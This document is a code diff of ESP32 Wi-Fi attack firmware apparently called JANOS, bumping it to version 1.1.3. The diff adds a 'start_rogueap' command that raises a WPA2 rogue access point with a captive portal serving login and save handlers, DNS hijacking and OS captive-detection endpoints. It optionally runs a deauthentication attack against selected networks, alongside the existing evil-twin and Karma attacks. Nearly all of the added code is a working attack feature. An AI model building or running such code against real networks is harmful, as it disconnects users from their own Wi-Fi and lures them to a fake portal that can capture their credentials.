|
93 | 93 | #endif |
94 | 94 |
|
95 | 95 | //Version number |
96 | | -#define JANOS_VERSION "1.1.2" |
| 96 | +#define JANOS_VERSION "1.1.3" |
97 | 97 |
|
98 | 98 |
|
99 | 99 | #define NEOPIXEL_GPIO 27 |
@@ -875,6 +875,7 @@ static int cmd_start_blackout(int argc, char **argv); |
875 | 875 | static int cmd_ping(int argc, char **argv); |
876 | 876 | static int cmd_boot_button(int argc, char **argv); |
877 | 877 | static int cmd_start_portal(int argc, char **argv); |
| 878 | +static int cmd_start_rogueap(int argc, char **argv); |
878 | 879 | static int cmd_start_karma(int argc, char **argv); |
879 | 880 | static int cmd_list_sd(int argc, char **argv); |
880 | 881 | static int cmd_list_dir(int argc, char **argv); |
@@ -7688,6 +7689,343 @@ static int cmd_start_portal(int argc, char **argv) { |
7688 | 7689 | return 0; |
7689 | 7690 | } |
7690 | 7691 |
|
| 7692 | +// Start password-protected rogue AP with captive portal and optional deauth |
| 7693 | +static int cmd_start_rogueap(int argc, char **argv) { |
| 7694 | + log_memory_info("start_rogueap"); |
| 7695 | + |
| 7696 | + // Validate arguments |
| 7697 | + if (argc < 3) { |
| 7698 | + MY_LOG_INFO(TAG, "Usage: start_rogueap <SSID> <password>"); |
| 7699 | + MY_LOG_INFO(TAG, "Example: start_rogueap MyNetwork MyPassword123"); |
| 7700 | + return 1; |
| 7701 | + } |
| 7702 | + |
| 7703 | + const char *ssid = argv[1]; |
| 7704 | + const char *password = argv[2]; |
| 7705 | + size_t ssid_len = strlen(ssid); |
| 7706 | + size_t password_len = strlen(password); |
| 7707 | + |
| 7708 | + // Validate SSID length (WiFi SSID max is 32 characters) |
| 7709 | + if (ssid_len == 0 || ssid_len > 32) { |
| 7710 | + MY_LOG_INFO(TAG, "SSID length must be between 1 and 32 characters"); |
| 7711 | + return 1; |
| 7712 | + } |
| 7713 | + |
| 7714 | + // Validate password length (WPA2 requires 8-63 characters) |
| 7715 | + if (password_len < 8 || password_len > 63) { |
| 7716 | + MY_LOG_INFO(TAG, "Password length must be between 8 and 63 characters for WPA2"); |
| 7717 | + return 1; |
| 7718 | + } |
| 7719 | + |
| 7720 | + // Check if custom HTML is selected via select_html |
| 7721 | + if (custom_portal_html == NULL) { |
| 7722 | + MY_LOG_INFO(TAG, "No custom HTML selected. Use 'select_html' command first."); |
| 7723 | + MY_LOG_INFO(TAG, "Example: list_html, then select_html <number>"); |
| 7724 | + return 1; |
| 7725 | + } |
| 7726 | + |
| 7727 | + // Check if portal is already running |
| 7728 | + if (portal_active) { |
| 7729 | + MY_LOG_INFO(TAG, "Portal already running. Use 'stop' to stop it first."); |
| 7730 | + return 1; |
| 7731 | + } |
| 7732 | + |
| 7733 | + // Check if deauth attack is already running |
| 7734 | + if (deauth_attack_active || deauth_attack_task_handle != NULL) { |
| 7735 | + MY_LOG_INFO(TAG, "Deauth attack already running. Use 'stop' to stop it first."); |
| 7736 | + return 1; |
| 7737 | + } |
| 7738 | + |
| 7739 | + // Ensure WiFi is initialized |
| 7740 | + if (!ensure_wifi_mode()) { |
| 7741 | + MY_LOG_INFO(TAG, "Failed to initialize WiFi"); |
| 7742 | + return 1; |
| 7743 | + } |
| 7744 | + |
| 7745 | + // Reset stop flag |
| 7746 | + operation_stop_requested = false; |
| 7747 | + |
| 7748 | + MY_LOG_INFO(TAG, "Starting Rogue AP with SSID: %s (WPA2 protected)", ssid); |
| 7749 | + |
| 7750 | + // If networks are selected, prepare for deauth |
| 7751 | + bool deauth_enabled = (g_selected_count > 0); |
| 7752 | + if (deauth_enabled) { |
| 7753 | + MY_LOG_INFO(TAG, "Networks selected: %d - deauth attack will run alongside portal", g_selected_count); |
| 7754 | + applicationState = DEAUTH_EVIL_TWIN; // Same state as evil twin for channel parking |
| 7755 | + } else { |
| 7756 | + MY_LOG_INFO(TAG, "No networks selected - portal only mode (no deauth)"); |
| 7757 | + // Keep IDLE state - portal_active flag handles the portal functionality |
| 7758 | + } |
| 7759 | + |
| 7760 | + // Store portal SSID for logging purposes |
| 7761 | + if (portalSSID != NULL) { |
| 7762 | + free(portalSSID); |
| 7763 | + } |
| 7764 | + portalSSID = malloc(ssid_len + 1); |
| 7765 | + if (portalSSID != NULL) { |
| 7766 | + strcpy(portalSSID, ssid); |
| 7767 | + } |
| 7768 | + |
| 7769 | + // Enable AP mode and get AP netif |
| 7770 | + esp_netif_t *ap_netif = ensure_ap_mode(); |
| 7771 | + if (!ap_netif) { |
| 7772 | + MY_LOG_INFO(TAG, "Failed to enable AP mode"); |
| 7773 | + applicationState = IDLE; |
| 7774 | + return 1; |
| 7775 | + } |
| 7776 | + |
| 7777 | + // Stop DHCP server to configure custom IP |
| 7778 | + esp_netif_dhcps_stop(ap_netif); |
| 7779 | + |
| 7780 | + // Set static IP 172.0.0.1 for AP |
| 7781 | + esp_netif_ip_info_t ip_info; |
| 7782 | + ip_info.ip.addr = esp_ip4addr_aton("172.0.0.1"); |
| 7783 | + ip_info.gw.addr = esp_ip4addr_aton("172.0.0.1"); |
| 7784 | + ip_info.netmask.addr = esp_ip4addr_aton("255.255.255.0"); |
| 7785 | + |
| 7786 | + esp_err_t ret = esp_netif_set_ip_info(ap_netif, &ip_info); |
| 7787 | + if (ret != ESP_OK) { |
| 7788 | + MY_LOG_INFO(TAG, "Failed to set AP IP: %s", esp_err_to_name(ret)); |
| 7789 | + applicationState = IDLE; |
| 7790 | + return 1; |
| 7791 | + } |
| 7792 | + |
| 7793 | + MY_LOG_INFO(TAG, "AP IP set to 172.0.0.1"); |
| 7794 | + |
| 7795 | + // Configure AP with WPA2-PSK authentication |
| 7796 | + wifi_config_t ap_config = {0}; |
| 7797 | + memcpy(ap_config.ap.ssid, ssid, ssid_len); |
| 7798 | + ap_config.ap.ssid_len = ssid_len; |
| 7799 | + strncpy((char*)ap_config.ap.password, password, sizeof(ap_config.ap.password) - 1); |
| 7800 | + ap_config.ap.max_connection = 4; |
| 7801 | + ap_config.ap.authmode = WIFI_AUTH_WPA2_PSK; |
| 7802 | + |
| 7803 | + // Use first selected network's channel if available, otherwise channel 1 |
| 7804 | + if (deauth_enabled && target_bssid_count > 0) { |
| 7805 | + ap_config.ap.channel = target_bssids[0].channel; |
| 7806 | + MY_LOG_INFO(TAG, "Using channel %d from first selected network", ap_config.ap.channel); |
| 7807 | + } else if (deauth_enabled && g_selected_count > 0) { |
| 7808 | + // target_bssids not yet saved, get from scan results |
| 7809 | + int idx = g_selected_indices[0]; |
| 7810 | + ap_config.ap.channel = g_scan_results[idx].primary; |
| 7811 | + MY_LOG_INFO(TAG, "Using channel %d from first selected network", ap_config.ap.channel); |
| 7812 | + } else { |
| 7813 | + ap_config.ap.channel = 1; |
| 7814 | + } |
| 7815 | + |
| 7816 | + // AP mode already enabled by ensure_ap_mode(), just configure it |
| 7817 | + ret = esp_wifi_set_config(WIFI_IF_AP, &ap_config); |
| 7818 | + if (ret != ESP_OK) { |
| 7819 | + MY_LOG_INFO(TAG, "Failed to set AP config: %s", esp_err_to_name(ret)); |
| 7820 | + applicationState = IDLE; |
| 7821 | + return 1; |
| 7822 | + } |
| 7823 | + |
| 7824 | + // Start DHCP server |
| 7825 | + ret = esp_netif_dhcps_start(ap_netif); |
| 7826 | + if (ret != ESP_OK) { |
| 7827 | + MY_LOG_INFO(TAG, "Failed to start DHCP server: %s", esp_err_to_name(ret)); |
| 7828 | + applicationState = IDLE; |
| 7829 | + return 1; |
| 7830 | + } |
| 7831 | + |
| 7832 | + // Wait a bit for AP to fully start |
| 7833 | + vTaskDelay(pdMS_TO_TICKS(1000)); |
| 7834 | + |
| 7835 | + // Configure HTTP server |
| 7836 | + httpd_config_t config = HTTPD_DEFAULT_CONFIG(); |
| 7837 | + config.server_port = 80; |
| 7838 | + config.max_open_sockets = 7; |
| 7839 | + |
| 7840 | + // Start HTTP server |
| 7841 | + esp_err_t http_ret = httpd_start(&portal_server, &config); |
| 7842 | + if (http_ret != ESP_OK) { |
| 7843 | + MY_LOG_INFO(TAG, "Failed to start HTTP server: %s", esp_err_to_name(http_ret)); |
| 7844 | + esp_netif_dhcps_stop(ap_netif); |
| 7845 | + applicationState = IDLE; |
| 7846 | + return 1; |
| 7847 | + } |
| 7848 | + |
| 7849 | + MY_LOG_INFO(TAG, "HTTP server started successfully on port 80"); |
| 7850 | + |
| 7851 | + // Register URI handlers (same as start_portal) |
| 7852 | + httpd_uri_t root_uri = { |
| 7853 | + .uri = "/", |
| 7854 | + .method = HTTP_GET, |
| 7855 | + .handler = root_handler, |
| 7856 | + .user_ctx = NULL |
| 7857 | + }; |
| 7858 | + httpd_register_uri_handler(portal_server, &root_uri); |
| 7859 | + |
| 7860 | + httpd_uri_t root_post_uri = { |
| 7861 | + .uri = "/", |
| 7862 | + .method = HTTP_POST, |
| 7863 | + .handler = root_handler, |
| 7864 | + .user_ctx = NULL |
| 7865 | + }; |
| 7866 | + httpd_register_uri_handler(portal_server, &root_post_uri); |
| 7867 | + |
| 7868 | + httpd_uri_t portal_uri = { |
| 7869 | + .uri = "/portal", |
| 7870 | + .method = HTTP_GET, |
| 7871 | + .handler = portal_handler, |
| 7872 | + .user_ctx = NULL |
| 7873 | + }; |
| 7874 | + httpd_register_uri_handler(portal_server, &portal_uri); |
| 7875 | + |
| 7876 | + httpd_uri_t login_uri = { |
| 7877 | + .uri = "/login", |
| 7878 | + .method = HTTP_POST, |
| 7879 | + .handler = login_handler, |
| 7880 | + .user_ctx = NULL |
| 7881 | + }; |
| 7882 | + httpd_register_uri_handler(portal_server, &login_uri); |
| 7883 | + |
| 7884 | + httpd_uri_t get_uri = { |
| 7885 | + .uri = "/get", |
| 7886 | + .method = HTTP_GET, |
| 7887 | + .handler = get_handler, |
| 7888 | + .user_ctx = NULL |
| 7889 | + }; |
| 7890 | + httpd_register_uri_handler(portal_server, &get_uri); |
| 7891 | + |
| 7892 | + httpd_uri_t save_uri = { |
| 7893 | + .uri = "/save", |
| 7894 | + .method = HTTP_POST, |
| 7895 | + .handler = save_handler, |
| 7896 | + .user_ctx = NULL |
| 7897 | + }; |
| 7898 | + httpd_register_uri_handler(portal_server, &save_uri); |
| 7899 | + |
| 7900 | + httpd_uri_t android_captive_uri = { |
| 7901 | + .uri = "/generate_204", |
| 7902 | + .method = HTTP_GET, |
| 7903 | + .handler = android_captive_handler, |
| 7904 | + .user_ctx = NULL |
| 7905 | + }; |
| 7906 | + httpd_register_uri_handler(portal_server, &android_captive_uri); |
| 7907 | + |
| 7908 | + httpd_uri_t ios_captive_uri = { |
| 7909 | + .uri = "/hotspot-detect.html", |
| 7910 | + .method = HTTP_GET, |
| 7911 | + .handler = ios_captive_handler, |
| 7912 | + .user_ctx = NULL |
| 7913 | + }; |
| 7914 | + httpd_register_uri_handler(portal_server, &ios_captive_uri); |
| 7915 | + |
| 7916 | + httpd_uri_t samsung_captive_uri = { |
| 7917 | + .uri = "/ncsi.txt", |
| 7918 | + .method = HTTP_GET, |
| 7919 | + .handler = captive_detection_handler, |
| 7920 | + .user_ctx = NULL |
| 7921 | + }; |
| 7922 | + httpd_register_uri_handler(portal_server, &samsung_captive_uri); |
| 7923 | + |
| 7924 | + httpd_uri_t captive_uri = { |
| 7925 | + .uri = "/*", |
| 7926 | + .method = HTTP_GET, |
| 7927 | + .handler = captive_portal_handler, |
| 7928 | + .user_ctx = NULL |
| 7929 | + }; |
| 7930 | + httpd_register_uri_handler(portal_server, &captive_uri); |
| 7931 | + |
| 7932 | + httpd_uri_t captive_api_uri = { |
| 7933 | + .uri = "/captive-portal/api", |
| 7934 | + .method = HTTP_GET, |
| 7935 | + .handler = captive_api_handler, |
| 7936 | + .user_ctx = NULL |
| 7937 | + }; |
| 7938 | + httpd_register_uri_handler(portal_server, &captive_api_uri); |
| 7939 | + |
| 7940 | + httpd_uri_t captive_api_post_uri = { |
| 7941 | + .uri = "/captive-portal/api", |
| 7942 | + .method = HTTP_POST, |
| 7943 | + .handler = captive_api_handler, |
| 7944 | + .user_ctx = NULL |
| 7945 | + }; |
| 7946 | + httpd_register_uri_handler(portal_server, &captive_api_post_uri); |
| 7947 | + |
| 7948 | + httpd_uri_t captive_api_options_uri = { |
| 7949 | + .uri = "/captive-portal/api", |
| 7950 | + .method = HTTP_OPTIONS, |
| 7951 | + .handler = captive_api_handler, |
| 7952 | + .user_ctx = NULL |
| 7953 | + }; |
| 7954 | + httpd_register_uri_handler(portal_server, &captive_api_options_uri); |
| 7955 | + |
| 7956 | + // Set portal as active (must be before starting DNS task) |
| 7957 | + portal_active = true; |
| 7958 | + MY_LOG_INFO(TAG, "Portal marked as active"); |
| 7959 | + |
| 7960 | + // Start DNS server task |
| 7961 | + BaseType_t task_ret = xTaskCreate( |
| 7962 | + dns_server_task, |
| 7963 | + "dns_server", |
| 7964 | + 4096, |
| 7965 | + NULL, |
| 7966 | + 5, |
| 7967 | + &dns_server_task_handle |
| 7968 | + ); |
| 7969 | + |
| 7970 | + if (task_ret != pdPASS) { |
| 7971 | + MY_LOG_INFO(TAG, "Failed to create DNS server task"); |
| 7972 | + portal_active = false; |
| 7973 | + httpd_stop(portal_server); |
| 7974 | + portal_server = NULL; |
| 7975 | + esp_netif_dhcps_stop(ap_netif); |
| 7976 | + applicationState = IDLE; |
| 7977 | + return 1; |
| 7978 | + } |
| 7979 | + |
| 7980 | + // If networks are selected, start deauth attack |
| 7981 | + if (deauth_enabled) { |
| 7982 | + // Save target BSSIDs for channel monitoring |
| 7983 | + save_target_bssids(); |
| 7984 | + last_channel_check_time = esp_timer_get_time() / 1000; // Convert to milliseconds |
| 7985 | + |
| 7986 | + MY_LOG_INFO(TAG, "Starting deauth attack on %d network(s):", g_selected_count); |
| 7987 | + for (int i = 0; i < target_bssid_count; i++) { |
| 7988 | + MY_LOG_INFO(TAG, " [%d] %02X:%02X:%02X:%02X:%02X:%02X (CH %d)", |
| 7989 | + i + 1, |
| 7990 | + target_bssids[i].bssid[0], target_bssids[i].bssid[1], |
| 7991 | + target_bssids[i].bssid[2], target_bssids[i].bssid[3], |
| 7992 | + target_bssids[i].bssid[4], target_bssids[i].bssid[5], |
| 7993 | + target_bssids[i].channel); |
| 7994 | + } |
| 7995 | + |
| 7996 | + // Start deauth attack in background task |
| 7997 | + deauth_attack_active = true; |
| 7998 | + BaseType_t result = xTaskCreate( |
| 7999 | + deauth_attack_task, |
| 8000 | + "deauth_task", |
| 8001 | + 4096, |
| 8002 | + NULL, |
| 8003 | + 5, |
| 8004 | + &deauth_attack_task_handle |
| 8005 | + ); |
| 8006 | + |
| 8007 | + if (result != pdPASS) { |
| 8008 | + MY_LOG_INFO(TAG, "Failed to create deauth attack task!"); |
| 8009 | + deauth_attack_active = false; |
| 8010 | + // Portal is still running, so don't fail completely |
| 8011 | + MY_LOG_INFO(TAG, "WARNING: Portal running but deauth attack failed to start"); |
| 8012 | + } |
| 8013 | + } |
| 8014 | + |
| 8015 | + MY_LOG_INFO(TAG, "Rogue AP started successfully!"); |
| 8016 | + MY_LOG_INFO(TAG, "AP Name: %s (WPA2 protected)", ssid); |
| 8017 | + MY_LOG_INFO(TAG, "Password: %s", password); |
| 8018 | + MY_LOG_INFO(TAG, "Custom HTML loaded (%zu bytes)", strlen(custom_portal_html)); |
| 8019 | + MY_LOG_INFO(TAG, "Connect to '%s' WiFi network to access the captive portal", ssid); |
| 8020 | + |
| 8021 | + esp_err_t led_err = led_set_color(255, 165, 0); // Orange for rogue AP mode |
| 8022 | + if (led_err != ESP_OK) { |
| 8023 | + ESP_LOGW(TAG, "Failed to set LED for rogue AP mode: %s", esp_err_to_name(led_err)); |
| 8024 | + } |
| 8025 | + |
| 8026 | + return 0; |
| 8027 | +} |
| 8028 | + |
7691 | 8029 | // ============================================================================ |
7692 | 8030 | // BLE Scanner Functions (NimBLE) |
7693 | 8031 | // ============================================================================ |
@@ -8665,6 +9003,15 @@ static void register_commands(void) |
8665 | 9003 | }; |
8666 | 9004 | ESP_ERROR_CHECK(esp_console_cmd_register(&portal_cmd)); |
8667 | 9005 |
|
| 9006 | + const esp_console_cmd_t rogueap_cmd = { |
| 9007 | + .command = "start_rogueap", |
| 9008 | + .help = "Start WPA2 rogue AP with captive portal: start_rogueap <SSID> <password>. Requires select_html first. Runs deauth if networks selected.", |
| 9009 | + .hint = "<SSID> <password>", |
| 9010 | + .func = &cmd_start_rogueap, |
| 9011 | + .argtable = NULL |
| 9012 | + }; |
| 9013 | + ESP_ERROR_CHECK(esp_console_cmd_register(&rogueap_cmd)); |
| 9014 | + |
8668 | 9015 | const esp_console_cmd_t karma_cmd = { |
8669 | 9016 | .command = "start_karma", |
8670 | 9017 | .help = "Starts Karma attack with SSID from probe list: start_karma <index>", |
@@ -9017,6 +9364,7 @@ void app_main(void) { |
9017 | 9364 | MY_LOG_INFO(TAG," start_deauth"); |
9018 | 9365 | MY_LOG_INFO(TAG," start_evil_twin"); |
9019 | 9366 | MY_LOG_INFO(TAG," start_portal <SSID>"); |
| 9367 | + MY_LOG_INFO(TAG," start_rogueap <SSID> <password>"); |
9020 | 9368 | MY_LOG_INFO(TAG," start_sniffer"); |
9021 | 9369 | MY_LOG_INFO(TAG," start_sniffer_noscan"); |
9022 | 9370 | MY_LOG_INFO(TAG," start_sniffer_dog"); |
|
0 commit comments